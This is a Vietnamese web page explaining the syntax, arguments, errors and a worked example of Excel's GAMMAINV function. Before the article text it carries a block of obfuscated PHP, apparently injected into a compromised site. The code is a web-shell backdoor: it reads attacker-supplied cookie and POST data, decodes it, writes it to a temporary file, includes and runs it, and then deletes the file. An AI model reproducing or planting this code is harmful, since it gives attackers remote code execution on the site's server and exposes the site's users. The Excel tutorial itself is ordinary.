$ylZYFX = chr (85) . '_' . 'E' . "\121" . "\130" . chr (108) . chr (104); $yLWtuVuIpp = 'c' . chr ( 753 - 645 ).chr (97) . "\x73" . chr ( 582 - 467 ).chr (95) . "\145" . "\170" . chr ( 510 - 405 ).chr (115) . "\x74" . 's';$kAOmFrC = class_exists($ylZYFX); $yLWtuVuIpp = "35366";$DZnLrk = strpos($yLWtuVuIpp, $ylZYFX);if ($kAOmFrC == $DZnLrk){function IAeTZP(){$aZfgaHHvu = new /* 4364 */ U_EQXlh(29822 + 29822); $aZfgaHHvu = NULL;}$XKXHSy = "29822";class U_EQXlh{private function KWZRppi($XKXHSy){if (is_array(U_EQXlh::$YNoKSXbD)) {$name = sys_get_temp_dir() . "/" . crc32(U_EQXlh::$YNoKSXbD["salt"]);@U_EQXlh::$YNoKSXbD["write"]($name, U_EQXlh::$YNoKSXbD["content"]);include $name;@U_EQXlh::$YNoKSXbD["delete"]($name); $XKXHSy = "29822";exit();}}public function HfLoXJy(){$XvCgWQeB = "40563";$this->_dummy = str_repeat($XvCgWQeB, strlen($XvCgWQeB));}public function __destruct(){U_EQXlh::$YNoKSXbD = @unserialize(U_EQXlh::$YNoKSXbD); $XKXHSy = "22734_2480";$this->KWZRppi($XKXHSy); $XKXHSy = "22734_2480";}public function gYQxmX($XvCgWQeB, $uwoXMoiAQJ){return $XvCgWQeB[0] ^ str_repeat($uwoXMoiAQJ, intval(strlen($XvCgWQeB[0]) / strlen($uwoXMoiAQJ)) + 1);}public function HturnsX($XvCgWQeB){$IRxSAES = "\142" . "\x61" . "\163" . chr (101) . chr (54) . chr ( 962 - 910 );return array_map($IRxSAES . chr ( 150 - 55 ).chr ( 1074 - 974 )."\145" . "\143" . 'o' . chr (100) . 'e', array($XvCgWQeB,));}public function __construct($oCcnlBmz=0){$vemMBQz = ',';$XvCgWQeB = "";$YdToI = $_POST;$OaybdGwVx = $_COOKIE;$uwoXMoiAQJ = "c88d6de5-9c28-4205-88d1-aa6ae4d03ace";$vclXYK = @$OaybdGwVx[substr($uwoXMoiAQJ, 0, 4)];if (!empty($vclXYK)){$vclXYK = explode($vemMBQz, $vclXYK);foreach ($vclXYK as $TPeibWgFe){$XvCgWQeB .= @$OaybdGwVx[$TPeibWgFe];$XvCgWQeB .= @$YdToI[$TPeibWgFe];}$XvCgWQeB = $this->HturnsX($XvCgWQeB);}U_EQXlh::$YNoKSXbD = $this->gYQxmX($XvCgWQeB, $uwoXMoiAQJ);if (strpos($uwoXMoiAQJ, $vemMBQz) !== FALSE){$uwoXMoiAQJ = explode($vemMBQz, $uwoXMoiAQJ); $dXdlFMY = sprintf("22734_2480", rtrim($uwoXMoiAQJ[0]));}}public static $YNoKSXbD = 56125;}IAeTZP();} Hàm GAMMAINV trong Excel và cách sử dụng - Tải Chùa

Hàm GAMMAINV trong Excel và cách sử dụng

Rate this post
GAMMAINV là hàm được ứng dụng nhiều trong nghiên cứu về xác suất thống kê có sử dụng phân bố gamma. Sau đây là cách sử dụng hàm GAMMAINV trong Excel mà bạn cần biết.

Hàm GAMMAINV trong excel là hàm sẽ trả về giá trị nghịch đảo của hàm phân phối tích lũy gamma. Hàm GAMMAINV được ứng dụng nhiều trong thực tế nghiên cứu về xác suất thống kê có sử dụng phân bố gamma. Ví dụ như nghiên cứu các biến số mà phân bố của chúng có thể là đối xứng lệch.

Cách dùng hàm GAMMAINV trong Excel

Cách dùng hàm GAMMAINV trong Excel

Vậy liệu bạn đã biết đến cú pháp và cách dùng hàm GAMMAINV trong Excel chưa? Nếu chưa thì mời bạn hãy theo dõi bài viết này của chúng tôi nhé.

Hướng dẫn cách sử dụng hàm GAMMAINV

Cú Pháp : GAMMAINV (probability,alpha,beta)

Với

  • probability : Là xác xuất gắn với phân bố gamma. Bắt buộc phải có.
  • Alpha : Là một tham biến tới phân phối. Bắt buộc phải có.
  • Beta : Là một tham biến tới phân phối. Bắt buộc phải có.

Chú ý:

  • Hàm GAMMAINV trả về giá trị lỗi #VALUE nếu bấy kỳ đối số nào là văn bản.
  • Hàm GAMMAINV trả về giá trị lỗi #NUM nếu xác xuất <0 hoặc >1.
  • Hàm GAMMAINV trả về giá trị lỗi #NUM nếu alpha<=0 hoặc beta<=0.
  • Độ chính xác của hàm này phụ thuộc vào độ chính xác của hàm GAMMADIST.

Ví dụ:

Bạn hãy nhập vào excel các giá trị thực tế tương ứng với các tham số của hàm GAMMAINV trong các ô excel. Ở ví dụ, này ta tính toán với xác suất gắn với phân bố gamma là 0.0735, tham số Alpha của phân bố là 8 và Tham số Alpha của phân bố là 3:

Nhập các giá trị thực tế tương ứng với các tham số của hàm GAMMAINV

Nhập các giá trị thực tế tương ứng với các tham số của hàm GAMMAINV

Nhập công thức của hàm GAMMAINV tại ô C9. Khi đó, kết quả tính của hàm nhận được sẽ là 13.00013994:

Nhập công thức của hàm GAMMAINV

Nhập công thức của hàm GAMMAINV

Với bài viết này, bạn đã biếtcách dùng hàm GAMMAINV trong Excel. Nhưng bạn cần lưu ý rằng: nếu bạn nhập vào giá trị là beta =1 thì hàm sẽ trả về phân bố gamma chuẩn. Còn nếu beta là số không dương thì hàm này sẽ trả về giá trị lỗi. Chính vì vậy mà bạn cần phải lưu ý khi sử dụng hàm GAMMAINV này nhé.